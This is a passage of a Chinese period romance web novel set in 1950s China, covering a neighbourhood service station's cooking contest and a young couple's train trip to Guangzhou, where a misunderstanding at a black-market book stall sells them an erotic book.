一张定期三年800块,一张定期一年500块,还有一张活期150块的,一共1450块。 叶满枝对他的这些存款并不吃惊。 他的津贴高,还出版过图书,尽管只有一本收了稿酬,但那书瞧着字数不少,按千字标准给稿酬的话,应该不比她那本服装图书少。 而且那种实用的工具书,可能还会再版刊印,超过定额的话,后续还会有稿酬。 叶满枝在心里说,也还好啦。 他津贴那么高,平时又没啥开销,听说她公婆还会在吴峥嵘成年前邮寄生活费给他。 攒下这些钱,其实不算多啦! 然后她就在旁边装现金的糖盒子里,看到了一厚沓50块面额的公债券。 她已经卖过两年公债了,对这玩意并不陌生,随手一捏就知道,这些公债大概有一千块。 而后她快速清点了一下,果然有一千块! “吴峥嵘,你怎么买了那么多的公债啊?”叶满枝扯着嗓子喊。 兑付公债要凭号码抽签的,他买这么多,不知要等到哪年才能兑付。 吴峥嵘在给相框安装支架,随口说“我在厂里只买了四百块的,剩下那些是怎么回事,你自己琢磨。” 叶满枝琢磨了一会儿,哦,好像是帮她完成公债任务来着。 第一年买三百,第二年又买三百。 好吧,叶满枝把自己那一百块公债券,跟他的放到了一起。 夫妻俩存款还算充裕,定期存折暂时不能动,活期一共有320块,这些应该够买照相机了吧?叶满枝将找门路购买照相机的任务交给了吴峥嵘。 也许是即将拥有照相机的好心情,让她突然茅塞顿开了。 次日早上做完早操以后,叶满枝并没直接去单位上班,而是先往邮政所跑了一趟。 “三嫂,你先别去送报纸,”她将黄大仙拦住,“我跟你说点事。” “什么事非得早上说!”黄黎送报有时间限制,她还着急走呢。 “好事!”叶满枝开门见山道,“咱街道不是要开一家服务站嘛,原本我们打算只搞餐饮服务,但是只卖面食的话,可能用不了那么大的场地,所以我就寻思,反正是便民服务站,不如就多增加几个经营项目,比如卖点图书和报纸杂志什么的。要是能把我们服务站当成你们邮政所的一个代销点,也能给你省下不少麻烦,到时候我们可以找人帮忙送报纸。” 商业局能把饭店收拢过去,但如果给服务站扩大经营规模,增加经营类目,商业局总不能把邮局、书店、保险、银行业务什么的,全都抢过去吧? 作者有话要说 一百个红包,明天见~ 第 78 章 白案技能竞赛 第78章白案技能竞赛 街道搞的这个服务站,对黄黎来说没什么稀罕的。 后世的各种便民服务中心、综合服务站,她也见过不少。 但是时间倒推六七十年,叶满枝能在百废待兴的50年代,提出综合服务站的设想,委实让她有点刮目相看了。 关键是,代销点可以帮忙送报纸的提议,令她特别动心。 邮政系统是邮发合一的,不但有邮递业务,也有报刊发行业务。 黄黎去年刚当邮递员的时候,投递压力并不特别大,只要当天能将信件和报纸送到居民手里就行。 可是,现在全国各行各业都在大搞劳动竞赛,他们邮政系统也没能例外。 市局刚组建了一个“党政机关和国有企业早班投递段”,保证让全市200多个单位在7点之前见到当天的报纸。 黄黎就好死不死被拉进了这个早班投递段。 与另一位同事,轮流为光明街附近的9家单位送报纸。 她刚穿来的时候,原身的身体条件并不好,消瘦畏寒,痛经的症状特别严重,她养了两年,每天骑着自行车晒太阳、做运动、补充营养,好不容易有了些起色,可以要个孩子了,又被分去了早班投递段! 如今是夏天还好,到了冬天,冰天雪地的,天还没亮就得骑车送报纸,万一摔成流产,对身体的损伤是不可估量的。 叶满枝说“嫂子,你跟我哥不是准备要孩子嘛,就算不能从邮递员转成文职,能少做一点工作也能少操劳一些呀,你考虑考虑,替我跟你们所长探探口风吧。” 黄黎想要孩子,但嘴上从来没说过,对生孩子的态度一直是比较淡的。 她狐疑地问“你听谁说我想要孩子?” “我三哥说的呀,她说你可想要个孩子了,还为孩子画小人书了呢!” 黄黎“……” 她画小人书,是准备投稿出版的。 虽然现在大环境还比较宽松,搞出了大鸣大放百家争鸣,让大家畅所欲言。 但黄黎的胆子着实不大,即使发表的是工农相关文章,也总是要字斟句酌,反复推敲,生怕哪句话被人抓住把柄,以后被扣帽子。 所以,受到叶满枝出版服装图书的启发后,她暂时放弃了严肃文学,转攻儿童文学。 时下的儿童读物特别少,哪怕是小人书,也多是给成年人看的。 她小时候学过两年画画,用简单的图画将故事讲清楚,还是能做到的。 反正她写作的目的是赚钱改善生活,哪种书能尽快发表,她就先写哪种。 再过两年,等到出版业也被改造以后,即使她的书畅销全国,也赚不到什么钱了。 只是没想到,自己画小人书的行为,落在叶满堂眼里居然成了想要孩子! 她就说嘛,最近这男人怎么跟吃了春.药似的。 黄黎将她加入了早班投递段的事情,跟叶满枝说了,继而问“你们服务站,真能替我送报纸?” 叶满枝问清楚,她的投递路线,点点头说“能送啊,有啥不能送的,但我们服务站可以为居民义务劳动,对你们财大气粗的邮政系统可不能义务劳动,送报纸和代销报纸都要抽成的。” 闻言,黄黎眉心轻蹙,在有邮递员可用的情况下,所长那边未必愿意给人提成。 “你们除了代销报纸,能给居民推销报纸,增加年订用户 的数量吗?” “当然能啊,报纸卖得越多,我们服务站的抽成就越高,这是咱们两厢获益的好事!” 黄黎想了想,推上自行车说“你回去等我消息吧,我送完报纸就去跟所长说说这事。” 她想趁着年景好,趁早怀个孩子,这两年物资供应还算充足,最起码能保证孕妇和孩子的营养。 如果等到过了荒年再生,她就超过三十岁了。三十岁生第一胎,在这时候算是高龄产妇。 【若是真能让服务站代销报纸,就可以多买些奶粉和棉布储备着了。】 【尤其是布料,到时候每个人的定额都要砍掉一大半,想做身衣服都困难。】 【以防到时候孩子要吃没吃,要穿没穿的,还是得提前准备起来。】 叶满枝跟黄大仙说话的时候,已经学会尽量不与她对视了。 因为她发现黄大仙有点表里不一,表面上是个正经人,脑子里却总想些少儿不宜的内容。 自打她见过一次,黄大仙面无表情地琢磨与三哥的房事以后,她就对黄大仙的内心不忍直视了。 她那会儿早就跟吴峥嵘亲过嘴,对成年人的事情多少有些了解。 看到亲哥亲嫂的隐私,让她有点尴尬。 两人在邮政所门口分手,叶满枝心想,黄大仙的想法不错呀,她也可以买些奶粉和布料储备着。 如果有了孩子,就给孩子用,没孩子,她就可以自己享受了。 只不过,每人每年15尺布已经够少的了,若是再砍一半,那她跟吴峥嵘岂不是一年才能凑出一套新衣服来? 叶满枝满心忧愁,唉声叹气地去上班了。 她在心里偷偷决定,要督促吴峥嵘好好保持身材,不能胖也不能瘦了。 现有的衣服也要好好打理保存。 若是布料定额真的减半了,就让吴峥嵘穿现有的衣服和军装。 然后每年给她做一套新衣服。 嘻嘻。 * 既然要增加服务站的经营类目,那当然是越多越好的。 叶满枝将这个全新的思路跟张勤简提过以后,得到了对方放手去干的答复。 老张最近忙着邀请市工业局和教育局的领导来大课堂讲课,根本没心思搭理她那个小服务站。 于是,叶满枝真的就放手去干了。 她现在是副主任,手下有几个大头兵,再不用像以前那样什么事都亲力亲为了。 所以,她让办公室里的三个年轻男同志,高晓光、刘金宝、赵二贺,分别去保险公司、书店和银行,洽谈代理服务业务。 她自己则去电业局和自来水公司,联系军工大院这一带的抄表员。 每家每户的电费和水费是由居民小组长统一收取的,但有的居民会因为各种各样的原因延迟缴费,过了固定的收费时间后,就要自己去市里交钱了。 叶满枝想在服务站搞个代收点,省得大家一趟趟往市里跑。 高晓光的技能似乎都在读书上,去保险公司拉业务的工作,让他有点手足无措。 “叶主任,这个保险公司的业务怎么谈啊?他们要是不同意给咱们抽成呢?” 高晓光听到她对刘金宝的交代了,代销图书要从中抽成。 叶满枝笑道“不给就不给呗,你让他们每个月派一名业务员来咱们服务站坐班,只要能在咱服务站门口挂一块‘人民保险公司代销点’的牌子就行。” 她主要 是想让服务站门口热闹点,卖不卖保险无所谓。 但高晓光却觉得自己这次的保险公司之行,注定无功而返。 他接到任务以后,了解了一下保险公司的情况。 人家搞的都是对公业务,目前主要卖三种保险。 一是财产强制保险,以防国家财产受到损失,国家机关、国营工厂还有比较大的合作社,都要强制买这种保险。 二是旅客强制保险,搭乘火车、飞机、轮船的旅客要强制买意外伤害保险,不过这是人家主管机关代为投保的。 三是牲畜险,这是面向广大农民的保险。 这三种保险没有一种是针对城市居民的,人家为啥要在街道设立代销点啊? 他把自己的顾虑跟叶满枝讲了,他觉得实在没必要为了面子好看,拉一个保险公司进来。 叶满枝摇摇头说“牲畜又不是只有农村才有,咱们街上有不少畜力车,这些车应该都没上过保险。而且很多住平房的街坊会在自家院子里养猪,这些家畜肯定也没上过保险。咱光明街的保险市场前途一片光明呢!” 高晓光“……” 似乎还真是这么一回事。 叶满枝学着穆区长的样子,很有领导风范地鼓励道“晓光同志,你就放手去干吧,尽量要点抽成,没有也不要紧,咱服务站不指望保险公司那点抽成过日子。” 至于指望什么过日子,那当然是餐饮服务啦! 将男同志们都放出去洽谈业务以后,叶满枝开始准备招聘事宜。 她们打算招聘4名白案师傅,2名服务员,1名收银员,1名采购员。 其他人都好说,只要能识字会算数,不是文盲就行。 但白案师傅还是要好好挑一挑的。 大院儿妇女们的消息渠道向来很灵通,哪个媳妇做饼好吃,哪个婶子饺子包得漂亮,很多人都能说出个一二三来。 能被妇女们喊出名字的,那都是有真本事,被大家普遍认可的。 所以,与于紫阳和郎庆红反复商量了几次后,叶满枝决定把这次招聘白案师傅的声势搞大,在全街范围内大张旗鼓地选拔人才。 组织一次白案技能竞赛。 一方面,通过这次活动,能把街道即将开办服务站的消息放出去。 另一方面,也是告诉大家,全街面食竞赛前四名,都是服务站的白案师傅,服务站的面食制作水平,绝对是全街第一的。 算是间接为还没开业的服务站招揽点客源。 叶满枝将招聘信息贴了出去,也请居委会主任和居民小组长帮忙做了宣传动员。 第一步是群众推荐。 凡是被大家提到名字的妇女同志,都会被记录下来。 按照推荐次数排序,前二十名被街道干部和居委会主任亲自上门邀请参加比赛。 除了已经有了正式工作的九名妇女,其他女同志全都接受了竞赛邀请。 叶满枝原本对这些推荐还有些怀疑,不过,大家都能愿意参与比赛,说明人家对自己的手艺很有信心呀! 这就是个很好的信号! 第二个环节就是正式比赛了! 比赛地点定在刚打扫好卫生的服务站门口,制作工具由参赛者自己携带,原材料由街道办提供。 现场制作,现场请街坊们试吃品尝。 但试吃并不是无偿的。 现场制作的面食,会被分成数十份,每份里都囊括了1 1名参赛者的作品。 届时全部按照成本价出售,只收现金,不要票。 比赛时间定在周末,由于提前在居民间做过宣传,当天看热闹的人特别多。 服务站门口的规模堪称人山人海。 有人在远处看到这边的动静,还以为曲艺团又来街道演出了。 “叶主任,她们做的这些吃的真的不要票啊 叶满枝举着大喇叭喊,“比赛试吃不要票,但我们服务站开业以后,可是要票的啊!大家不要挤啊,今天试吃名额已经满员了。拿到号码牌的居民来前面排队,没有号码的就只能眼馋啦!” “金宝,你给我弄个号码去!”人群里有个老头喊刘金宝。 “四大爷,我自己都没号码呢,上哪给你弄号码去?等服务站正式开业的时候,你再来吃吧!到时候负责做饭的,就是今天比赛的前四名同志!” “小叶干部,啥时候能吃上啊?我早就闻到葱油饼的香味了!” “再等等,大家把饭盆和零钱准备好,每份五毛钱,等饺子出了锅,咱们的评比就正式开始啊!”叶满枝手举大喇叭,高声道,“大家别光顾着吃,别忘了给我们的面食投票啊,每人四票,觉得哪种面食好吃,就往哪个碟子里投票!” 另一边,水饺终于出锅了,提前领到号码牌的35人,在街道干部的引导下,一一上前交钱取餐。 有的人还没走出人群,就迫不及待吃了一口。 “老钱?烧饼的味道咋样?” “香!这烧饼是用芝麻酱做的,能不香么!就是给得太少了,每人才给切半块。” “十一种面食,有面有肉,五毛钱还不要票,你还想吃一整个烧饼啊?”那人又问,“包子呢?” “还行吧,跟咱厂食堂的差不多,皮太厚了。饺子倒是挺好的,皮薄馅大,还用香油调馅儿了。” 几十个人在马路边将参赛作品挨个品尝了一遍,有的人还要跟人商量探讨,然后犹犹豫豫,思前想后,往四个碟子里投了票。 叶满枝默默算着盘子里的票数,四嫂沈亮妹这次包了饺子,从目前的票数来看,大概能排在第三名。 来参赛之前,常月娥跟四嫂耳提面命了一番。 让她包饺子的时候大方点,多放肉,多放香油,反正不是自己家的材料,怎么好吃怎么做。 一定要保证口味,吸引大家为她投票。 叶满枝刚刚去后厨尝了一个四嫂包的饺子,四嫂这回真挺大方的,包的饺子皮薄馅大,菜少肉多,白案的工作应该是稳了。 所有人都投过票以后,叶满枝让个子最高,嗓门最大的赵二贺,当着所有参赛者和围观群众的面唱票。 最终选出的四人,分别是 第一名,孔淑兰,草帽葱油饼,21票。 第二名,杜婵娟,蔬菜春卷,18票。 第三名,沈亮妹,猪肉芹菜水饺,15票。 第四名,丁香,疙瘩汤,14票。 前三人还好说,但是疙瘩汤能被选出来,还得到了14票,让叶满枝委实惊讶了一番。 疙瘩汤几乎家家都会做,这玩意若想做得惊艳,还真挺难的。 丁香才20岁,算是所有参赛者里最年轻的。 叶满枝上前询问她会不会做其他面食。 丁香连连点头说“我还会包包子、包饺子、蒸馒头、烙饼,主任来我家的时候,让我做拿手菜,我妈说我疙瘩汤做得最好 , 让我做疙瘩汤。” “会做其他面食就行。”叶满枝笑道,“你疙瘩汤确实做得挺好,以后早餐的时候可以做一锅,比做豆腐脑方便。” 她当场宣布,拟录用比赛前四名,为“三八便民服务站”的正式职工。 为啥说是拟录用呢,因为还要让大家进行体格检查。 体检过关,没有传染病的同志,才能正式上岗,为居民们服务。 “今天赢得比赛前四名的面食,都会在咱们服务站售卖,服务站制作的面食是啥水平,想来大家已经心里有数了!咱们‘光明街三八便民服务站’是本着物美价廉、干净卫生的原则,为居民们提供饮食服务的!服务站开业在即,到时候还请大家多多支持咱们服务站的工作!” “支持支持!小叶干部,服务站啥时候开啊?” “大家别着急啊,人员和设备到齐以后,咱们立马开业!” 白案师傅凑齐以后,叶满枝让妇女主任于紫阳推荐其他职工的人选。 最好有人能担当服务站的站长,以后服务站这些琐事就交由站长操心了。 而且第一个月的粮食必定要赊账,从顾客那里收回钱和票以后,才能给粮站结账,所以采购员最好能有点门路。 * 服务站那边只等着开业了,但吴峥嵘买照相机的任务却进展得并不顺利。 国内没有生产照相机的大厂,听说只在北京有个公私合营的小厂,参考徕卡照相机,仿制出了国产照相机。 但人家全年的产量还不到一百台。 产品在北京本地就被人抢购一空了,根本流不到外地来。 吴峥嵘托了不少关系,都没能买到照相机,大家都排队呢。 叶满枝心里的失望就别提了。 她当着吴峥嵘的面没说啥,还啵啵他好几口以示安慰。 可是到了亲妈面前,她就现出了原形,在家里唉声叹气。 “叹什么叹!我看你俩就是有钱烧的!那照相机是多金贵的玩意,哪个好好过日子的人家会嚷嚷着买照相机!” “那我第一次出去玩嘛,我想拍点照片!”叶满枝没精打采地抓梨花的尾巴,又找补道,“我现在可是副主任了,去了其他城市,不得观摩学习一下人家的建设成果呀!万一能在遥远的广州,跟哪个街道结上对子,那我不得拍几张照片带回来,让光明街的群众看看呀!人家穆区长还说,让我旅途中也不要忘记学习,多记录人家的先进经验呢!” “能找出这么多借口,也是难为你了。”常月娥嘟嘟囔囔,“你本来就不会过日子,这回嫁了一个更不会过日子的,你俩可真是,哎……” 早在俩孩子结婚之前,她就时常往16号院送东西。 她家这个小姑爷是啥样的人,她早就看清楚了。 且不说那满屋子的书,要造出去多少钱,毕竟那是人家工作和学习要用到的,光是姑爷家里那些大件,就很让她咋舌了。 时下的四大件,除了缝纫机,人家全凑齐了。 不但自己带一块手表,还给她闺女买了一块。 她在心里默默计算了一下,自行车、收音机,外加两块手表,少说得七八百了。 有这些钱干点啥不好? 所以,吴峥嵘这姑爷虽然哪哪都好,但是在她心里,那是顶顶不会过日子的男人。 叶来芽本来就想一出是一出,从小就这样,看见啥好东西都嚷嚷着想要。 这回遇到了更不 会过日子的吴峥嵘,那可真是熊瞎子扎进了蜜罐里。 常月娥点了点她说“照相机这事,就这么算了,你回去以后不许再跟峥嵘提了。你这次之所以能休假,那是为了去探亲,不是让你去旅游的!” “吴峥嵘说就是旅游啊。” “你还犟嘴!”常月娥叮嘱道,“你是新媳妇,第一次见他父母和哥哥姐姐,总要提前准备些拿的出手的礼物送给人家。你做衣服的手艺不错,我看你要不就给她父母做点什么。” 叶满枝刚从黄大仙那里得知棉布定额要减半,她哪舍得用她那点定额,给别人做衣服。 只含含糊糊地说“我不做衣服,有其他东西送给他们。” “你送什么?说出来我帮你参谋参谋。” “送我跟吴峥嵘出的书啊,我俩的书可不便宜,虽然我们是作者,但是送那么多书,也是要自己掏钱买的。我的一本,加上他的三本,算了还是两本吧,军事词典太贵了。我俩的三本书,要花一块多呢!” 叶满枝挺愿意给人送书的。 她前前后后买了自己50多本书了。 既能当做礼物送人,又能帮自己冲销量。 万一超过了1万册的定额,她又能拿到一笔稿酬了! 常月娥横眉立目地问“只送书啊?” “啊,这大热天的,送吃的也放不住呀!” “你听我的,让峥嵘给他爸和他哥带点烟酒,好歹是个意思,哪有第一次见面只送书的?” 叶满枝向来很相信妈妈的智慧。 于是当晚把叶梨花偷渡回家时,顺便将常月娥同志的意思,跟军代表同志转达了。 吴峥嵘点点头,答应带些烟酒给老吴。 叶满枝以为他会准备点好烟好酒,至少提两瓶茅台什么的。 结果人家抠抠搜搜买了两瓶滨江本地产的老白干,远不如第一次拜访老丈人时的阔绰。 “只带这两瓶啊?”叶满枝傻眼,“要不再拿两瓶茅台吧?你送我的那瓶,我还没喝呢。” “长途跋涉,带什么茅台?万一在路上碰碎了,你不心疼啊?” 叶满枝“……” 他说得好有道理哦。 吴峥嵘的车票已经买好了,这两天下班后,夫妻俩一直在忙忙叨叨收拾行李。 叶满枝第一次出远门,沿途要经过好几个城市,才会到达她公婆所在的驻地。她对接下来的旅行简直太期待了,每天都精神亢奋,特别激动。 被常月娥教训过以后,她已经不对照相机抱有什么希望了。 只安慰自己,双眼就是她的照相机,她可以把这些风景全都记在脑子里。 然而,街道的三八便民服务站正式开张的第二天,吴峥嵘突然带了一台便携照相机回来。 叶满枝立即兴奋地问“你怎么买到的?花了多少钱啊?” “不是买的,跟咱爷借的。” “爷爷有照相机啊,他竟然愿意把这么贵重的东西借给咱们?” 她之前真是错怪那个古板的老爷子了。 吴峥嵘面不改色道“他不知道照相机被我拿走了,这是奶奶帮我取的。” 叶满枝帮他翻译了一下“奶奶帮你偷的啊?” 她在机身上瞅了两眼,怀疑地问“这不会是他单位的照相机吧?” “不是,是他自己花钱买来,工作的时候用的。” “那咱们把照相机偷走了,他用什么啊?” 吴峥嵘“啧”了一声问“你怎么那么多问题?就说这照相机,你想不想要吧?” “想。” 叶满枝老实了。 吴峥嵘喝了媳妇泡的茶,又像个大功臣似的,享受了对方的捏肩服务,而后想起什么,说“给我拿点钱,我明天去商店多买点胶卷。” “好好好!” 叶满枝像只快乐的小鸟似的,飞奔去八斗橱里给他取钱。 “对了,我给你做了一条新裤衩,到时候你在路上穿。” 叶满枝将那条特制裤衩递给他,然后背过身去说“你先穿上试试大小合不合适,不合适的话我再改改。” 吴峥嵘见那裤衩前面有个带拉锁的口袋,心知这是用来装钱,路上防盗的。 于是起身脱了裤子,将新裤头穿到身上试了试。 穷家富路,叶满枝打算将家里所有的现金都带在身上,见他换好了裤衩,就把那一沓现金递了过去,说“你把钱放进去感受一下,难不难受。” 吴峥嵘动作微顿,在她脸上打量几眼,见她神色不似作伪,只好依言将钱接过来,塞进了前面的口袋里。 叶满枝低头瞅了一眼。 “……” 她双手捂脸笑了一会儿,然后红着脸说“算了,这裤衩你别穿了,好像不太合适,还是我穿吧……” 作者有话要说 一百个红包,明天见~ 第 79 章 小夫妻广州行 她肚脐眼怕冷不怕热,往腰包里放一点艾蒿,护在腰上还挺好用的。 听到乘务员在车厢里提醒,承德站到了。 两人趴到最近的车窗前,叶满枝小声问“你猜咱俩能在这里买到干粮还是水果?(< 火车缓缓进站,吴峥嵘眯眼往前方望了一眼,慢悠悠道“连个赌注都没有,我不猜。” 叶满枝在他耳边小声说了几个字,问“怎么样?” 厢里还有其他人,吴峥嵘没多言,点点头算是认可了她的赌注,“那我就猜水果吧。” “行,那我猜是干粮,不过,我想吃点水果了,还是希望你能赢吧。” 他俩只带了一天的伙食,之后的吃食都要在路上解决。 叶满枝特别期待火车靠站,尤其是小车站,每次停靠的时候,都有当地老乡在站台上兜售自家做的干粮,也有卖水果和花生瓜子的。 她昨天在一个小车站,买到了两大串玫瑰香葡萄,美美地吃了一下午。 但今天走了一大天了,她还没遇到卖水果的呢。 火车停稳,立即有几个大娘,提着篮子冲到车窗下面,其他人还在吵吵嚷嚷喊人的时候,吴峥嵘已经很有经验地将胳膊伸出去,拿着两张毛票挥了挥。 瞧见这边有钱,一个裹着头巾的大娘,提着篮子跑了过来,“同志,京白梨要不要?” “要。” 考虑到水果难得,吴峥嵘把她篮子里剩下的六个京白梨全包圆了。 叶满枝高兴地用手肘拐他一下,“你肯定早就看到人家筐子里的京白梨了!居然还骗我打赌!” “那几个梨在筐子底下,我的视力还没好到那种程度。” 吴峥嵘只是远远看到,站台上有其他乘客从筐里拿出两个水果。 叶满枝买到了水果,心情很好地不跟他计较了,将京白梨洗干净以后,分给对面的郭处长一个。 “小叶这一路上都胃口不错,”中年女人往她小腹上扫了一眼,“是不是要当妈妈了?” 叶满枝“……” 她上周才来了例假,怎么可能当妈妈? 至于她肚子上鼓起的小包,那是她的腰包啦! “我只是胃口好而已,哈哈,”叶满枝转移话题问,“郭处长,咱们之后的车票都是一样的吗?还能在一个车厢里吗?” 旅途时间太长,吴峥嵘买的是卧铺车票。 正好跟省里的一个代表团在同一节车厢里。 这个代表团是去广州参加全国物资交流大会的,二十多人占了小半节车厢,与夫妻俩在同一个包厢里的这个女干部,就是滨江商业局的物资处长。 “咱们的目的地一样,车票应该都是一起的,”郭处长指了指他们手头的报纸,“小叶,把你们的报纸借我看看。” 叶满枝手上全是梨汁。 吴峥嵘将报纸递给她,又问“郭处长,我们能看看你那本书吗?” 为了轻装简行,除了作为礼物的图书,他俩并没随身携带其他书籍。 每天只靠看报纸打发时间。 他俩虽是夫妻,但出门在外也要保持距离,何况他还穿着军装,更要注意影响。 除了用餐时间,夫妻俩都跟牛郎织女似的,一个在这头,一个在那头。 吴峥嵘对沿 途的田野和荒地早就看腻了, 又不能总跟媳妇说话,已经无聊到看报纸中缝的地步。 郭处长挺大方地将书递给了他。 这是苏联作家西蒙诺夫创作的,长篇小说《日日夜夜》。 故事背景是卫国战争时期,斯大林格勒保卫战。 吴峥嵘习惯性地翻开扉页,发现是莫斯科外文出版局在1951年出版的繁体字版本。 现在国家推行使用简体字,这种繁体字老书,已经很少能在书店里买到了。 难怪他之前没看过这本书。 “小叶主任,要不要一起看?”吴峥嵘主动邀请。 叶满枝连忙点头,洗了手上的汁水坐到他身边。 卧铺车厢都是床,而且他俩各有各的位置,总坐在一张床上容易引人侧目。 这回可算找到理由能紧挨着坐到一起了。 这本《日日夜夜》她也没看过,吴峥嵘举着书,她负责翻页,夫妻俩捧着书看了一下午。 这书里描写了大量的战争场景,叶满枝其实不爱看战争类的书籍和电影,但是吴峥嵘看得如痴如醉,她也不好表现得太不进步。 读着读着,渐渐也沉浸到斯大林格勒日日夜夜,逐街逐屋争夺的激烈巷战中了。 火车上看书有些费眼睛,他俩欣赏会儿风景,看一会儿书,断断续续看了两天多。 可惜,当火车抵达广州站时,两人没能读到《日日夜夜》的结尾,就要把书还给郭处长了。 叶满枝想问问郭处长,沙布洛夫营长与女军医安孃最终在一起了吗? 她不关心斯大林格勒保卫战,只想知道这俩人修成正果没有。 郭处长笑道“我也没看完呢,要不你把书带回去看?回滨江以后再还我?” 若是一般的小干部,可能已经顺杆爬把书收下了,然后趁着还书的机会,跟领导拉拉关系。 但叶满枝以己度人,如果一个陌生人,把自己看到一半的小说借走将近一个月不还,她可能会生气吧。 她也想知道结局呢! “不用了,郭处长,有机会我也去书店买一本,您这本书挺好看的,适合珍藏。” 火车在早上抵达广州,夫妻俩与代表团的成员们道别。 下车后,立即就感受到了南北温度的差异。 “南方果然比咱们那里热多啦!”叶满枝刚睡醒,精力还跟第一天上车时一样充沛。 这倒是吴峥嵘意料之外的,他以为四天多的旅途,肯定会消耗掉小叶同志的一部分热情。 广州站是大站,乘客特别多,叶满枝怕自己被挤丢了,一边拉着他的衬衫衣摆,一边到处张望。 “咱们先去大姐那里吗?”她还记着来广州是探望大姐一家的。 “先找个招待所住下吧,大姐白天还要上班。”吴峥嵘攥着她的手腕走出车站,“你第一次跟她见面,总要好好拾掇一下吧?” 叶满枝连连点头,军代表同志还是很了解她的。 她确实不想这样灰头土脸地跟大姑姐见面。 两人凭结婚证和介绍信,在招待所开了一间双人房。 先去公共浴室洗了澡,而后就开始研究午饭的问题。 军工大院里有不少南方人,叶满枝早在出发之前就打听过广州有什么好吃的。 她躺在床上,将她记得的美食名字都细数了一遍,“咱俩哪天去岛上啊?这几天能把这些好吃的都尝一遍么?” 她随身带了 那么多钱,就是想出来消费的。 把她没吃过的好吃的,统统吃一遍。 “能,”吴峥嵘正在阅读刚买的《广州日报》,抖了抖手上的报纸说,“现在广州酒家正在举办‘名菜美点展览会’,据说有好几千种粤菜、点心和小食品,咱们可以去广州酒家尝尝。” 叶满枝忍不住咽了下口水,“居然有好几千种?有文昌鸡和江南香酥鸽吗?孙工的媳妇说,这是广州酒家的拿手菜,听上去就很好吃!” “应该有吧。”吴峥嵘笑着把报纸递过去,“你自己看。” 他出门跟招待所服务员要了张广州地图,准备去广州酒家看看,顺便再游览一下珠江。 他俩的旅行完全是漫无目的的,走到哪算哪,不需要像代表团那样赶路。 所以,两人并不着急坐车前往目的地,出了招待所以后,沿着陌生的城市街道瞎溜达。 “你说沙布洛夫营长与安孃最后会不会在一起呀?”叶满枝欣赏着沿途风景,还惦记小说里的内容呢。 吴峥嵘猜测“也许没在一起。” “为什么啊?”叶满枝急了。 吴峥嵘冷静地分析“那些苏联作家总喜欢创作一些悲情人物,为了让作品更有深度和话题度,恐怕不会给他们大团圆结局,也许其中一方牺牲了。” 两人正好溜达到一家新华书店门口,叶满枝迫不及待地跑进去问店员有没有《日日夜夜》。 本地国营单位的职工,多少能使用一些普通话。 听叶满枝详细描述了图书作者和内容后,对方摇摇头说没货,但可以帮他们登记一下。 叶满枝说自己是来探亲的,未必能逗留到图书到货的日子。 女店员与同事用白话叽里呱啦交流了什么,叶满枝和吴峥嵘一句没听懂。 等她再次转身时,为两人介绍了一个杂货市场。 “距离我们书店不远,走两个路口就有一条商业街,那里有几个书报摊也许有你们要找的这本书。这种繁体字的图书,我们书店已经很少卖了,你们去书报摊碰碰运气吧。” 两人向营业员道了谢,按照对方指引的方向,前往杂货市场。 “应该是这里吧?”叶满枝指了指前方的小巷子,无语道,“广州的同志居然把这样的小街称作商业街啊?还不如咱石道街宽呢,跟中国大街就更不能比啦!” 吴峥嵘也露出狐疑神色,不过这条巷子里确实有不少摆摊的,有卖书籍的,也有卖服装鞋帽和肉食水产的,甚至还有人在地上摆了两个收音机。 看到其他东西时,他没觉得如何,可是能在外面卖收音机,这就让吴峥嵘提高警惕了。 他正想跟叶满枝说说自己的怀疑,叶满枝却已经先行一步,蹲到了一个书摊前面。 那书摊上摆着不少外文书籍,还有英文和俄文辞典。 叶满枝在让人眼花缭乱的封皮上扫了一眼,直接问摊主“同志,你这里有《日日夜夜》吗?” 摊主是广东人,似乎不会说普通话,听了叶满枝的话以后,回了一串她听不懂的。 叶满枝出来前,完全没想到自己这趟旅行最大的阻碍会是语言不通。 她想了想,用脚尖在土路上划拉了一遍日日夜夜这四个字。 “有这本书吗?” 这回摊主似乎看懂了,顿时露出恍然大悟的神情。 还冲叶满枝和她身后的吴峥嵘挤眉弄眼,揶揄地笑了笑。 叶 满枝理解为“你怎么不早点写字?早写字(笔趣阁小 我早就懂了!” 见他懂了,叶满枝挺开心,心想肢体语言也是很好用的沟通方式呀! “这本书多少钱啊?” 摊主比出一根手指“一元钱。” “这么贵?” 叶满枝觉得有点贵了,但是新华书店已经不卖这本书了,其他地方也未必能买到。 何况郭主任那本书还挺厚的,一块就一块吧。 这书拿回去可以放在吴峥嵘的书架里珍藏。 双方一手交钱,一手交货。 叶满枝把钱给了他,接过书以后却感觉手里的书似乎不太对劲。 封面被牛皮纸包了起来,看不到书名,但厚度完全不如他们刚看的那本《日日夜夜》。 她正想问问对方是不是拿错了书,巷口处却突然传来一阵急促而尖锐的哨声。 不等叶满枝再询问什么,那摊主和附近几个摊位的人,全都像听到下工铃声的工人似的,呼啦啦收拾东西,一窝蜂地往巷子的另一头涌去。 见她还傻站在原地,吴峥嵘一把攥住她的手腕,将人拉进了最近的一个岔路口。 巷子里全是哨声和追逐的脚步声,好几个带着红袖箍的男人,一边追一边用白话喊着什么。 一个戴红袖箍的男人经过他们这里时,本想上来盘问两人的情况,看到吴峥嵘亮出来的军官证后,什么也没说,点点头继续追着那群小贩跑了。 “什么情况啊?”叶满枝喃喃。 “咱们可能找错地方了,这里不像正经商业街,反而像是黑市。市里开办的杂货市场,不可能销售收音机吧?”吴峥嵘猜测,“我怀疑他们是卖走私洋货的。” 叶满枝捧着手上那本书问“那我不会买到走私货了吧?” “一本书而已,应该不至于。” 叶满枝心想,她花了一块钱呢! 这一块钱可不能浪费了呀! 于是,她赶忙将书翻开,检查一下书里的内容。 结果,不翻不知道,一翻吓一跳,看清页面上的内容后,叶满枝满脸震惊,手上一抖,将书掉在了地上。 “怎么了?”吴峥嵘以为书里有什么血腥暴力的内容,把她吓到了。 弯腰去捡的时候,只听叶满枝焦急道“你别捡了,那书不正经!” 吴峥嵘还是伸手捡了起来。 翻开那一页的内容,他已经看清楚了——一男一女在妖精打架。 他往前翻了翻,几乎整本书都是这种少儿不宜的内容。 尺度之大,令人大开眼界。 “哎呀,你别看了!”叶满枝满脸通红地说,“那人瞧着挺老实的,怎么那么不正经啊!我跟他买苏联小说《日日夜夜》,他竟然卖给我这种书!” 吴峥嵘神情微妙地将书合上。 仔细说起来,摊主的理解似乎没什么问题,这本勉强也算是《日日夜夜》吧。 作者有话要说 有广东的小伙伴在评论区提到了广州酒家的问题。 